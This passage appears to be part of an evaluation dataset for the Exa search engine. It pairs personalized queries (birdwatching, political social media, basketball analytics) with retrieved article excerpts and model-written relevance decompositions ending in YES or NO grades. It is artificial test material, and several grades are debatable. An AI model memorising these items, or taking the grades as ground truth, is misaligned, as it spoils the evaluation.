                "text": "Welcome to this week\u2019s edition of Vitamin Z, a newsletter about health and wellness with 3,000+ subscribers. If you are new, you can\u00a0join here. The internet was abuzz last week when a NYU chemistry professor was fired after students complained about his grading. The New York Times\u00a0first reported\u00a0that Maitland Jones Jr., a longtime professor of organic chemistry and the author of a well-regarded textbook on the subject, had been dismissed by New York University. That decision followed a petition signed by 82 of his students in his introductory organic chemistry course, who complained that their grades hadn\u2019t reflected the effort they\u2019d put in. The story sparked debate around several topics:    Are today\u2019s college students a bunch of over-entitled whiners? (Comments by NY Times readers: \u201cIn life you are graded for results rather than effort. The students better understand that pretty soon.\u201d \u201cWe are in an age now that dismisses rigorous expertise and prioritizes student comfort. It is an unsustainable model.\u201d \u201cI, for one, hope I don\u2019t receive medical care from a doctor who couldn\u2019t pass a tough undergraduate organic chemistry course.\u201d)    Do doctors really need to know organic chemistry? (Comments: \u201cOrganic chemistry, while not directly tied to medicine, is nonetheless important because it forms the foundation for biochemistry which is important to many fields of medicine.\u201d \u201cIf you were to pick out the strongest clinical physician in each department in an academic medical center and ask them to pass an organic chemistry test, every single one of them would fail. Orgo is just not something that doctors use.\u201d)    Does the weed-out approach used in fields like chemistry, biology, engineering and other STEM fields exacerbate inequalities\u00a0in student performance  and discourage students from\u00a0completing STEM majors\u00a0and\u00a0pursuing opportunities\u00a0like graduate and medical school?   The story made me reflect on my chemistry studies. I majored in chemistry at Harvard. I spent years as a high school chemistry tutor in New York. St",
                "model_trace": "Query Decomposition:\n1. {high school student interested in chemistry}: The document does not specifically mention content tailored for high school students -> ([0], UNSURE)\n2. {history and development of the periodic table}: The document does not mention the history or development of the periodic table -> ([1], UNSATISFIED)\n3. {good blog posts or Substack articles}: This is a Substack article, so it meets the format requirement -> ([1], SATISFIED)\n4. {in-depth on the topic}: The document content focuses on a controversy involving a chemistry professor and broader educational topics, not on the history and development of the periodic table -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {history and development of the periodic table}, {good blog posts or Substack articles}, and {in-depth on the topic}. Since the document does not satisfy the key subcomponents related to the history and development of the periodic table, it is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "I'm an amateur naturalist who loves birdwatching. Can you find me the latest news on any new or rare bird species that have been recently discovered or spotted in North America?",
        "grid_pos": [
            3,
            1
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries are designed to test Exa's capabilities in providing relevant and informative news results for personalized queries across a variety of topics that require an understanding of current trends, innovations, and discoveries. The queries involve the user providing some personal context about their interests, expertise, or location, which Exa should use to tailor the news results. The topics span areas like food, music, nature, politics, and biology, which require Exa to have broad knowledge and the ability to identify the most salient and novel information to include in the news results."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "The Most Complete Baby Mammoth In North America Has Been FOUND",
                "url": "https://www.geologyin.com/2022/06/the-most-complete-baby-mammoth-in-north.html",
                "published_date": "2022-06-25",
                "text": "The Most Complete Baby Mammoth In North America Has Been FOUND. A well-preserved whole baby woolly mammoth was discovered at Treadstone Mine in the Yukon\u2019s Eureka Creek, south of Dawson City, on Tuesday. (Government of Yukon) Whole baby mammoth, named Nun cho ga, is only 2nd found in the world, 1st in North America The calf, named 'Nun cho ga', meaning 'big baby animal' in the H\u00e4n language, was frozen in permafrost, resulting in its remains being mummified. Miners working in a gold field in Yukon have uncovered what is being called the \"most complete\" mummified woolly mammoth found to date in North America, officials announced on Friday. A joint statement from the Government of Yukon and Tr'ondek Hwech'in First Nation said that miners working on Eureka Creek in the Klondike gold fields found a frozen, near complete woolly mammoth while excavating through permafrost in Tr'ondek Hwech'in traditional territory. Tr'ondek Hwech'in elders have since named the mammoth calf Nun cho ga, which means \"big baby animal\" in the Han language. \"The Yukon has always been an internationally renowned leader for ice age and Beringia research. We are thrilled about this significant discovery of a mummified woolly mammoth calf: Nun cho ga,\" Minister of Tourism and Culture Ranj Pillai said. \"Without strong partnerships between placer miners, Tr'ondek Hwech'in, and the Yukon government, discoveries like this could not happen.\" Tr'ondek Hwech'in Chief Roberta Joseph called it a \"remarkable recovery\" for the First Nation and said she looked forward to collaborating with the government on next steps \"in a way that honours our traditions, culture, and laws.\" \"We are thankful for the Elders who have been guiding us so far and the name they provided. We are committed to respectfully handling Nun cho ga as she has chosen now to reveal herself to all of us,\" Joseph said. Officials called it \"the most complete mummified mammoth found in North America.\" The woolly mammoth appears to be a female and is about the same size as a 42,000-year-old infa",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document provides recent news about a discovery -> ([1], SATISFIED)\n2. {new or rare bird species}: The document is about a woolly mammoth discovery, not about bird species -> ([1], UNSATISFIED)\n3. {recently discovered or spotted in North America}: The document discusses a recent discovery in North America, but it is not related to birds -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {latest news}, {new or rare bird species}, and {recently discovered or spotted in North America}. While the document satisfies the \"latest news\" subcomponent, it does not satisfy the subcomponents related to new or rare bird species. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Endangered Whooping Crane Hatches at Smithsonian National Zoo Site",
                "url": "https://www.smithsonianmag.com/smart-news/endangered-whooping-crane-hatches-at-smithsonian-national-zoo-site-180980284/",
                "published_date": "2022-06-21",
                "text": "On May 26, and endangered baby crane hatched at the Smithsonian Conservation Biology Institute\n Chris Crowe, Smithsonian Conservation Biology Institute\n\nThe first ever endangered whooping crane hatched at the Smithsonian Conservation Biology Institute (SCBI) is thriving after a month of growth, according to a statement released by the institute. \nAn egg was found abandoned in a wild nest in Wisconsin and given to a pair of whooping cranes named Tehya, 16 years old, and Goliath, 25 years old, at SCBI. The institute is the National Zoo\u2019s research facility in Virginia. Tehya and Goliath were paired together to produce new offspring, but the couple had recently laid two infertile eggs. As the birds\u2019 keepers awaited the new egg\u2019s arrival from Wisconsin, they swapped out the infertile eggs for fake ones so the pair could continue their parenting behaviors. The SCBI\u2019s bird team then took in the live egg on May 18 and on May 26, the baby crane hatched, per the statement.\nBaby whooping cranes are also called colts because of their long legs, writes Dana Hedgpeth for the Washington Post . They fledge at around 80 to 100 days old, but stick near their parents\u2019 territory for up to nine months. Staff are allowing the colt to bond with its parents without interference, per the statement.\n\u201cThe bird team is encouraged by the colt\u2019s growth and report that the adults are protective and attentive to its needs,\u201d per the SCBI. \u201cStaff continue to closely monitor the colt and report that it appears healthy, alert and curious about its surroundings.\u201d \nAt 5 weeks old, the baby crane will get its first veterinary exam. Staff will confirm its sex and take a DNA sample. \nThe whooping crane, or Grus americana, is one of the rarest birds in North America. Before human hunting and habitat destruction devastated their numbers, as many as 15,000 to 20,000 whooping cranes may have lived in the wild, writes Megan Gambino for Smithsonian magazine. In 1870, only about 500 to 1,400 individuals lived in the wild. By 1941, approximately 21 wild whoopin",
                "model_trace": "Query Decomposition:\n1. [latest news]: The document is dated June 21, 2022, which is relatively recent, so it is likely to be considered latest news -> ([1], SATISFIED)\n2. [new or rare bird species]: The document discusses the whooping crane, which is one of the rarest birds in North America -> ([1], SATISFIED)\n3. [recently discovered or spotted]: The document mentions the hatching of an endangered whooping crane, which is a significant recent event -> ([1], SATISFIED)\n4. [in North America]: The event took place in the Smithsonian Conservation Biology Institute in Virginia, USA, which is in North America -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "NO",
                "title": "Found Lovebird - Peach Faced in Victorville",
                "url": "https://www.911parrotalert.com/found/victorville-ca-lovebird-sighting-june-26-22/",
                "published_date": "2022-06-24",
                "text": "Species: Lovebird - Peach Faced (See species list for details)\n Location: Victorville, California, United States 92392\n Date Found: June 24, 2022 Banded: Don't Know Microchipped: Don't Know \n Sighting only, I did not catch. It is really hard to catch because it keeps flying and sitting on very high branches on a tree. So I just spotted it and just noticed it mostly staying in an area. He/she is a peach faced lovebird, looks very healthy and energetic and very happy just flying around and staying among the area. Mostly hanging around with the sparrows and house finches. I\u2019m not sure if he/she has escaped.\n\nContact Listing Author",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document was published recently in June 2022 -> ([1], SATISFIED)\n2. {new or rare bird species}: The document mentions a Peach Faced Lovebird, which is not a new or rare species in the context of North America; it is likely an escaped pet -> ([1], UNSATISFIED)\n3. {discovered or spotted in North America}: The bird was spotted in Victorville, California, which is in North America -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {latest news} and {discovered or spotted in North America}, both of which are satisfied. However, the key subcomponent {new or rare bird species} is unsatisfied, making the document unhelpful for the user's specific query. NO."
            },
            {
                "grade": "YES",
                "title": "'Mega-rare' bird spotted in Oregon, first reported sighting ...",
                "url": "https://fox59.com/news/national-world/mega-rare-bird-spotted-in-oregon-first-reported-sighting-in-us-history/",
                "published_date": null,
                "text": "PORTLAND, Ore. (KOIN) \u2014 Birders are crowing over an extremely rare bird sighting in Oregon last week.\nPhotographer and Vancouver resident Michael Sanchez told Nexstar\u2019s KOIN that he was at Hug Point State Recreation Site on April 21 at sunrise when he noticed a little bird near the shoreline.\n\u201cI happened to look behind me toward the ocean and saw this cute little bird standing on the sand,\u201d Sanchez said. \u201cThe sun wasn\u2019t fully up yet, so to my eyes, it looked like a little black bird. It posed for me for a minute or two, and then it flew up to the rocks. It stayed there for another moment or so, and then it flew away toward the east. I didn\u2019t think much more of it than that.\u201d\nSanchez was unaware that he had photographed what appears to be the first known blue rock thrush sighting in U.S. history.\u00a0\nReturning home to review his pictures, Sanchez noticed that that \u201clittle black bird\u201d was much more colorful than he realized. This led him to post his photos (seen below) on social media, where they shocked the local birding world.\n\u201cI noticed the bird wasn\u2019t black at all, but it was a pretty blue and chestnut-colored bird,\u201d he said. \u201cI posted it on social media for some help identifying it and a friend of mine passed it along to one of her birding friends. He let me know that this was an extremely rare bird in this part of the world.\u201d\nAccording to experts, the blue rock thrush sighting is the second unofficial sighting in the documented history of North America. Oregon Birding Association member Nolan Clements, who is also a Ph.D. student with Oregon State University\u2019s Department of Fisheries, Wildlife and Conservation Sciences, told KOIN the blue rock thrush is native to Europe and Asia and is not known to inhabit any part of North America.\n\u201cThere has been only one report ever in North America,\u201d Clements said. \u201cIn 1997, one was photographed in British Columbia. However, many birders were skeptical of the origins of this bird, thinking it may have been an escaped caged bird or perhaps accidentally transported across the ",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document provides recent news about a bird sighting in Oregon -> ([1], SATISFIED)\n2. {new or rare bird species}: The document discusses the sighting of a \"mega-rare\" blue rock thrush, which is a rare bird species in North America -> ([1], SATISFIED)\n3. {recently discovered or spotted in North America}: The document mentions that the blue rock thrush was spotted in Oregon last week, making it a recent sighting in North America -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Hobbyist photographer snaps photo of extremely rare bird ...",
                "url": "https://www.ijpr.org/wildlife/2024-05-03/hobbyist-photographer-snaps-photo-of-extremely-rare-bird-in-1st-u-s-sighting",
                "published_date": null,
                "text": "Published\u00a0May 3, 2024 at 6:21 AM PDT\n    \n    \n                                        \n                                             \n                                        \nCall it beginner's luck.\nOn a trip to the Oregon coast in late April, amateur photographer Michael Sanchez took his new camera out to Hug Point State Park to snap pictures of waterfalls.\nSanchez, a 41-year-old middle-school band director from Vancouver, Wash., recently picked up photography and, by his account, is by no means a bird-watcher. But his trip turned into an impromptu photo shoot that made him the envy of birders.\n\"I got all the shots that I needed and when I was finishing up, I looked behind me and, still before the sun's fully up, I see this little bird with black feathers. I said, 'Oh, well, what a cute little bird, why don't I practice shooting that bird?\" Sanchez, 41, told NPR on Thursday. \"When I got home, I started to process the pictures from my trip and I saw that it wasn't a little black bird \u2014 it was actually a beautifully colored blue and a chestnut bird.\"\nIt wasn't until he posted his pictures to Facebook that he learned his bird sighting was extremely rare: a blue rock-thrush, far from its native breeding habitat in parts of Europe, Africa and Asia.\nHis April 21 sighting is the first time the bird has been seen in the U.S, bird experts said. It's also the first blue rock-thrush sighting in North America since 1997, according to the American Birding Association, when the species was spotted in British Columbia. The prior sighting had been rejected by the ABA over debate about how the bird had arrived in the area; however, the Oregon sighting may prompt the association to reevaluate its 1997 record.\nBrodie Cass Talbott, an educator with the Bird Alliance of Oregon, was stunned by the finding after his team verified the sighting. He said the male bird is the Southeast Asian philippensis subspecies \u2014 the only one of five with a reddish-brown belly.\n\"It was just a real shock,\" he said. \"This is potentially the rarest bird",
                "model_trace": "Query Decomposition:\n1. {latest news}: The document is published on May 3, 2024, which is recent -> ([1], SATISFIED)\n2. {new or rare bird species}: The document discusses the sighting of an extremely rare bird species, the blue rock-thrush -> ([1], SATISFIED)\n3. {recently discovered or spotted}: The bird was spotted on April 21, which is recent -> ([1], SATISFIED)\n4. {in North America}: The sighting occurred in Oregon, which is in North America -> ([1], SATISFIED)\n\nAssessment: All the subcomponents tagged with [1] are SATISFIED. The document provides recent news about a rare bird species spotted in North America, which aligns perfectly with the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Photographer accidentally snaps rare bird in Oregon: 'It's ...",
                "url": "https://www.theguardian.com/environment/2024/apr/29/amateur-birder-oregon-photographs-rare-bird",
                "published_date": null,
                "text": "Michael Sanchez was setting up his new camera to capture a waterfall at Oregon\u2019s Hug Point at sunrise when he spotted a little bird hopping around. He snapped a few photos, and didn\u2019t think much more of it. A week later, those snapshots have made him the star \u2013 and the envy \u2013 of the local birding community. Sanchez, who is from Vancouver, Washington, may have inadvertently captured the first images of an extremely rare blue rock-thrush in North America.   The species, which is native to east Asia, has only once before been spotted in this region, in 1997. But that sighting was rejected by the American Birding Association. If Sanchez\u2019s images are verified by local and national birding groups, he could be credited as the first person to successfully record a blue rock-thrush in the region. \u201cI was very very surprised to see just how stirred up this got folks,\u201d he said. \u201cIt\u2019s mind-blowing.\u201d Sanchez, a middle school band director and musician who very recently took up photography as a hobby, had never considered himself much of a birder. But as he was reviewing his photos from his trip to the coast, it struck him that the cute bird he saw was unusual \u2013 he\u2019d never seen anything like it before. \u201cSo I thought, I\u2019ve got to post it on the socials, right?\u201d Not long after, a friend of a friend \u2013 an avid birder \u2013 reached out. From its unique blue and chestnut plumage, the bird looked distinctively like a male blue rock-thrush. It turned out, Sanchez may have set a birding record. \u201cA lot of times when something like this happens, there\u2019s a lot of effort among the birding community to try and verify it, because everyone wants to go and see it for themselves,\u201d said Brodie Cass Talbott, of the Bird Alliance of Oregon and the Oregon Birding Association. Volunteer experts have been working with Sanchez to verify the image and confirm its location. No other local birders have been able to spot the bird since Sanchez photographed it \u2013 but oddly, there was another blue rock-thrush sighting four days later, at the Farallon Islands off ",
                "model_trace": "Query Decomposition:\n1. [latest news]: This document is a news article about a recent event -> ([1], SATISFIED)\n2. [new or rare bird species]: The document discusses a rare bird species, the blue rock-thrush, spotted in North America -> ([1], SATISFIED)\n3. [recently discovered or spotted]: The article details a recent sighting of the blue rock-thrush in Oregon -> ([1], SATISFIED)\n4. [North America]: The sighting occurred in Oregon, which is in North America -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents of the query. YES"
            }
        ]
    },
    {
        "query": "I'm a political science student researching the role of social media in modern political campaigns. I'm looking for news articles that analyze how politicians are using new digital platforms and strategies to reach voters.",
        "grid_pos": [
            3,
            1
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries are designed to test Exa's capabilities in providing relevant and informative news results for personalized queries across a variety of topics that require an understanding of current trends, innovations, and discoveries. The queries involve the user providing some personal context about their interests, expertise, or location, which Exa should use to tailor the news results. The topics span areas like food, music, nature, politics, and biology, which require Exa to have broad knowledge and the ability to identify the most salient and novel information to include in the news results."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Presidential Campaigns Embrace Tech to Reach Voters During Pandemic",
                "url": "https://www.voanews.com/a/usa_us-politics_presidential-campaigns-embrace-tech-reach-voters-during-pandemic/6191974.html",
                "published_date": "2020-06-30",
                "text": "With social distancing as the new pandemic normal, U.S. presidential campaigns were faced with an unprecedented situation. They no longer were able to send out organizers and volunteers to connect with potential voters face-to-face. Intimate, high-dollar fundraising events were also out of the question. \n\u201cThe coronavirus pandemic shifted things overnight. It was a sudden and instant transformation to 100% virtual campaigning, just like the pandemic disrupted everyone else's daily life. The same is true of our campaigns,\u201d said Eric Wilson, a Republican digital strategist and director of the Center for Campaign Innovation. \n\u201cYou're just seeing a lot more creativity in terms of how and where the campaigns are finding the voters they need to get their message across to,\u201d said Tara McGowan, CEO and founder of Acronym, a progressive nonprofit organization and head of the political action committee Pacronym.\n Politics as entertainment \nMost voters are consuming politics as entertainment, Wilson said. Since the start of social distancing orders in March, the Trump campaign launched, on social media such as Facebook and YouTube, a daily talk show-style broadcast with a host and guests. \n\u201cThat's one of the biggest kind of innovations we've done, are these original seven-nights-a-week online broadcast. We really touch on loads of different dynamics and different messaging opportunities,\u201d Erin Perrine, director of press communications for the Trump campaign, said. \nProminent Republicans and President Donald Trump\u2019s children have been either guests or hosts on these shows. In one program, hosted by Donald Trump Jr., the guest being interviewed was his father, who is running for a second term against the presumptive Democratic presidential nominee, former Vice President Joe Biden. \nThe Biden campaign is also tapping into social media. Biden is using Instagram for live conversations with social media influencers, celebrities and past Democratic presidential candidates such as entrepreneur Andrew Yang. Last week, Biden raised mo",
                "model_trace": "Query Decomposition:\n1. {role of social media in modern political campaigns}: The document discusses how U.S. presidential campaigns are using social media platforms like Facebook, YouTube, and Instagram to connect with voters during the pandemic -> ([1], SATISFIED)\n2. {analyze how politicians are using new digital platforms and strategies to reach voters}: The document provides specific examples and quotes from campaign strategists and officials about the innovative digital strategies being employed by the Trump and Biden campaigns -> ([1], SATISFIED)\n\nAssessment: The document clearly addresses both subcomponents by discussing the role of social media in political campaigns and analyzing specific digital strategies used by politicians. YES."
            },
            {
                "grade": "YES",
                "title": "Digital Political Candidates Driven by Technology",
                "url": "https://www.govtech.com/archive/digital-political-candidates-driven-by-technology.html",
                "published_date": "2012-06-29",
                "text": "On New Year\u2019s Eve 2010, Newark, N.J., Mayor Cory Booker responded to a constituent on Twitter whose 65-year-old father needed help shoveling snow from his driveway. Booker\u2019s tweet? \u201cI will do it myself; where does he live?\u201d \nAnd do it himself he did, arriving some 20 minutes later with other volunteers, who were also rounded up through the social networking site. \nBooker, who took office in 2006 following a landslide win and was re-elected in 2010, is a political Twitter phenomenon. He has more than 1 million followers, has posted more than 16,000 tweets, and is known for his dynamic use of social media and online technology, which assisted him in winning the mayoral seat. Booker may be the leading example of a well harnessed digital campaign and governance strategy in U.S. politics today, deftly using Web 2.0 tools to stay connected with the people of his city.\n\nMost important, Booker says technology helps voters to get an up-close view of him as a person. \u201cSocial media creates that intimate window and gives voters a chance to really see your humanity and the substance of your spirit,\u201d he said. \u201cIt creates a different kind of loyalty than with traditional engagement.\u201d \nSocial media also allows candidates to build a longer-term relationship. \u201cAnd that is so important,\u201d Booker said. \u201cIt eliminates the old, \u2018You just come around to talk to me at election time\u2019 issue.\u201d Instead, social media lets Booker engage with hundreds of people at a time and broadens his connection to people he can\u2019t necessarily reach at a campaign or community event. \u201cIt changes conversations from private to social. If you don\u2019t build up the tool, you really surrender to the space or come off as very robotic. It\u2019s about creating authentic, dynamic feeds.\u201d \nAnd should Booker run for re-election, a significant part of the voting population already is following him, he said. \u201cThe best advice I can offer to candidates not already using social media and technology is this: Dive in now. Do not wait; start aggregating audiences. Once a campaign has s",
                "model_trace": "Query Decomposition:\n1. {role of social media in modern political campaigns}: The document discusses how Cory Booker uses social media extensively in his political campaigns, providing a detailed example of its role -> ([1], SATISFIED)\n2. {analysis of how politicians are using new digital platforms and strategies to reach voters}: The document provides an analysis of how Booker uses Twitter and other Web 2.0 tools to engage with voters and build relationships, which aligns with the user's intent -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied. The document provides a relevant and detailed analysis of how a politician uses social media and digital platforms in his campaign. YES."
            },
            {
                "grade": "YES",
                "title": "Campaigning through the cloud: How politicians target voters with digital ads",
                "url": "https://www.pbs.org/newshour/show/ahead-midterms-party-embracing-technology-campaigns",
                "published_date": "2014-11-02",
                "text": "ASHLEY PARKER: \n Sure. Well, on television, you place your ads on a TV show during the commercial break. So, for instance, if you place ads on ABC's \"Scandal\" because you want to reach female viewers, you get those female viewers, but you also get male viewers who you maybe don't want, or you maybe don't get male viewers who are forced to watch the show with their girlfriends. With digital advertising, you can basically, this cycle, target someone's actual device, their cell phone, their tablet. And it follows them whenever they are. So, when they're looking at their phone when they wake in the morning, you can serve them an ad. If they're a congressional district and you're a congressional campaign, not only can you serve them an ad when they're at home. But if you are serving them an ad on their tablet, you can \u2014 you can basically target them when they leave their district, while they're commuting to work, while they're at work, while they're on their commute home, and when they're in their kitchen cooking dinner and checking their phones.\n\nASHLEY PARKER: \n Yes, they absolutely are. Facebook, for instance, offers a menu of options to campaigns, from very basic, a campaign could, say, just target female users of Facebook or users who live in a certain zip code on Facebook or users who have liked certain Facebook pages, say, Rachel Maddow and \"The Nation\" magazine, or Facebook offers a far more sophisticated option, where a campaign can basically upload its voter file, which is the universe of voters they want to target to get out and vote. And they can literally serve ads to all those exact people who are users of Facebook.",
                "model_trace": "Query Decomposition:\n1. {News articles}: This document is a news article -> ([1], SATISFIED)\n2. {Analyze how politicians are using new digital platforms}: The document discusses how politicians use digital advertising on platforms like Facebook to target voters, which aligns with analyzing the use of digital platforms -> ([1], SATISFIED)\n3. {Strategies to reach voters}: The document explains specific strategies such as targeting voters based on their device usage and Facebook activity -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Analyzing Social Media Images used in Political Communication",
                "url": "https://cssh.northeastern.edu/nulab/social-media-images-in-politics/",
                "published_date": null,
                "text": "Partially supported by a NULab     Seedling Grant    .  \nOver the past decade, with the sharp increase in social media use and media sharing techniques, social media research scholars have been studying multimedia data in various contexts, lately focusing on the role of visual information. Despite its importance in political science research, how politicians, governments, and citizens make use of visual information communicated via social media have yet to be properly examined. For example, politicians and candidates increasingly seek to profile themselves on the web by uploading more personalized images to make voters evaluate the qualities of politicians\u2019 leadership, including friendliness, sincerity, power, and trustworthiness. This political image-making becomes salient and widespread in the current digital democracy as \u201cmodern democratic politics is a non-stop battle of competing images\u201d for attention (Scammell, 2015, p.9). As such, scholars seek to analyze images and multimedia content in social media posts for the clear understanding of digital campaigning and candidates\u2019 impression management.\nThis project focuses on the Instagram-based visual communication styles as a distinct form of political persuasion and image-making in US context. While Twitter and Facebook have been used as two main platforms for research on online political engagement, there is scarce research on Instagram and its political marketing. Instagram is an image-based social media platform where political players increasingly use still and moving images for attention-grabbing purpose, selfexpression, political messaging, mobilization, and engagement. In today\u2019s visually oriented media environment, the heads of governments and lawmakers are constantly communicating with visual messages designed to influence public opinion on a wide range of topics. This is because visuals have the capacity to present concrete political ideas and political personas fluently. However, little is known about the role and impact of highly personalized forms ",
                "model_trace": "Query Decomposition:\n1. {role of social media in modern political campaigns}: The document discusses the use of social media, specifically Instagram, in political communication and image-making, which relates to modern political campaigns -> ([1], SATISFIED)\n2. {analyze how politicians are using new digital platforms and strategies to reach voters}: The document analyzes how politicians use Instagram for political persuasion, image-making, and engagement, which aligns with the query's focus on new digital platforms and strategies -> ([1], SATISFIED)\n3. {news articles}: The document is an academic project description rather than a news article -> ([0], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {role of social media in modern political campaigns} and {analyze how politicians are using new digital platforms and strategies to reach voters}. Both of these subcomponents are satisfied. The subcomponent {news articles} is tagged [0] and does not affect the evaluation.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Social Media and Politics: Why It Matters & 10 Tips",
                "url": "https://sproutsocial.com/insights/social-media-for-political-campaigns/",
                "published_date": null,
                "text": "Like it or not, social media and politics are\u00a0inseparable.\nThat\u2019s because so much political discourse happens on platforms like Twitter. Over half of the US\u00a0consumes political news via social.\nDebates. Fundraising and fact-checking. News and results.\nWith social media serving as the modern-day public forum, all of the above are just a tap away for voters.\nThat\u2019s why the stakes are high for candidates on social media. Rather than wait for stories to publish, politicians can break their own news in real time.\nThe challenge? Navigating social media and politics is tricky if you\u2019re responsible for managing a public account.\u00a0Below we break down how candidates can step up their social game.\nHow social media has transformed political campaigns\nBefore we get into the nitty-gritty of our tips, let\u2019s address a bigger question:\n  Why is social media such a staple of politics in the first place?  \nSocial media might not be new to the public at large. However, incorporating social media in political campaigns didn\u2019t see significance until the 2008 United States presidential elections with then- candidate Barack Obama. With the power of social networking, political candidates reach wider audiences than traditional media and in real time.\nAs a result, a lot has changed in social media and politics since the 2020 US presidential election. Let\u2019s look at the specifics below.\nMore people get their news from social platforms\nThere\u2019s no shortage of news sources sending stories directly to our smartphones.\nAccording to 2022 data from Pew, the top social networks for news are Twitter (53%), Facebook (44%) and Reddit (37%). Surprisingly, TikTok (33%) isn\u2019t too far behind these sources.\n \nTransparency and trust versus mainstream media\nData from Gallup says 36% of citizens in the US have a \u201cgreat deal\u201d or \u201cfair amount\u201d of trust in mainstream news sources. This includes cable news and print media. Only 11% of self-described Republicans (and 31% of independents) claim to trust the media.\nTo say that citizens have trust issues when it comes ",
                "model_trace": "Query Decomposition:\n1. {News articles}: This document is not a traditional news article but rather an informative piece on a website -> ([1], UNSATISFIED)\n2. {Analyze how politicians are using new digital platforms and strategies to reach voters}: The document discusses how social media is used in political campaigns, including platforms like Twitter, Facebook, Reddit, and TikTok, and provides tips for candidates -> ([1], SATISFIED)\n\nAssessment: While the document is not a traditional news article, it does provide an in-depth analysis of how politicians are using social media platforms and strategies to reach voters. Therefore, it satisfies the key subcomponent related to the user's intent. YES"
            },
            {
                "grade": "NO",
                "title": "THE EFFECT OF SOCIAL MEDIA ON ELECTIONS",
                "url": "https://www.princeton.edu/~fujiwara/papers/SocialMediaAndElections.pdf",
                "published_date": null,
                "text": "Authors:\nThomas  Fujiwara, Princeton University, fujiwara@princeton.edu\nKarsten  M\u00fcller, National University of Singapore, kmueller@nus.edu.sg\nCarlo  Schwarz, Universit\u00e0 Bocconi, carlo.schwarz@unibocconi.it\nPablo  Barbera\nLevi  Boxell\nMatt  Gentzkow\nAlexey  Ro'ee Levy\nMaria  Makarin\nJesse  Petrova\nJames  Shapiro\nEkaterina  Snyder\n  Zhuravskaya\nAbstract\nWe study how social media affects election outcomes in the United States. We use variation in the number of Twitter users across counties induced by early adopters at the 2007 South by Southwest (SXSW) festival, a key event in Twitter's rise to popularity. We show that this variation is unrelated to observable county characteristics and electoral outcomes before the launch of Twitter. Our results indicate that Twitter lowered the Republican vote share in the 2016 and 2020 presidential elections, but had limited effects on Congressional elections and previous presidential elections. Evidence from survey data, primary elections, and text analysis of millions of tweets suggests that Twitter's relatively liberal content may have persuaded voters with moderate views to vote against Donald Trump.\n1 Introduction\nDoes social media affect election outcomes? A popular narrative holds that Twitter played a decisive role in both recent American presidential elections and the United Kingdom's \"Brexit\" referendum. Many see this as part of social media's broader influence on political polarization and the re-emergence of populist politicians in many countries. The U.S. Federal Election Commissioner, for example, has argued that Facebook \"has no idea how seriously it is hurting democracy\" (NPR, 2020a). 1 An alternative view suggests that social media platforms are biased against conservatives (e.g., NPR, 2020b; Wall Street Journal, 2020) and that its younger, relatively left-leaning user base is unlikely to tilt elections towards right-wing politicians (e.g., Boxell et al., 2017, 2018). However, there is limited evidence that can be used to evaluate these contrasting (causal) clai",
                "model_trace": "Query Decomposition:\n1. {News articles}: This document is an academic paper, not a news article -> ([1], UNSATISFIED)\n2. {Analyze how politicians are using new digital platforms and strategies to reach voters}: This document analyzes the effect of social media, particularly Twitter, on election outcomes but does not focus on the strategies politicians use to reach voters -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponents of being a news article and analyzing how politicians are using new digital platforms and strategies to reach voters. NO."
            }
        ]
    },
    {
        "query": "I'm a lifelong sports fan who plays in an adult rec basketball league. I'd love to read some Substack articles that analyze advanced basketball stats and tactics that I could apply to improve my game. Ideally the articles would be written by former players or coaches.",
        "grid_pos": [
            3,
            2
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries are diverse, personalized, and focused on finding high-quality, in-depth content on specific topics that the users are interested in. They cover a range of subjects like chemistry, parenting, sports, film criticism, and photography. The queries require the search engine to understand the user's background and interests in order to surface the most relevant Substack or blog post results. Some of the queries also indicate that the users are looking for a more analytical or personal perspective, rather than just general information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Evolution of Basketball",
                "url": "https://hoopvision.substack.com/p/the-evolution-of-basketball",
                "published_date": "2022-06-24",
                "text": "Late last week, I published the first new video of the summer up on our YouTube channel. The video follows a similar concept to last summer\u2019s \u201cI watched every national championship game since 2000\u201d, but this time with historical NBA finals games. (Sidenote: Both of my videos were actually inspired by a non-basketball video titled \u201cI watched one SNL episode from every season\u201d.) In the video, I traveled one game at a time through different time periods in NBA history. In the early decades, I focused on the individual skill level and athleticism of the players. In the later decades, I looked more closely at overall team style of play. The full list of games (and associated timestamps) can be found below: 1950's Knicks vs Pistons (0:57) 1960's Celtics vs Lakers (4:44) 1970's Sixers vs Trail Blazers (8:36) 1980's Celtics vs Lakers (13:00) 1990's Bulls vs Jazz (17:21) 2000's Pistons vs Lakers (21:47) 2010's Heat vs Thunder (25:26) 2020's Warriors vs Celtics (28:42) In 2000, 17% of field goal attempts were taken from three-point range. In 2022, that number has now reached 40% In other words, you hardly need to watch a game from every decade to realize that shot selection and spacing have changed \u2014 obviously that\u2019s been the biggest story in basketball over the past 10+ years. The part that did surprise me, however, was the point of attack defense in the (admittedly small sample) of games I watched from the 80\u2019s and 90\u2019s. In the 1985 finals, the Celtics and the Lakers barely guarded the ball at all \u2014 instead using low pickup points to dare 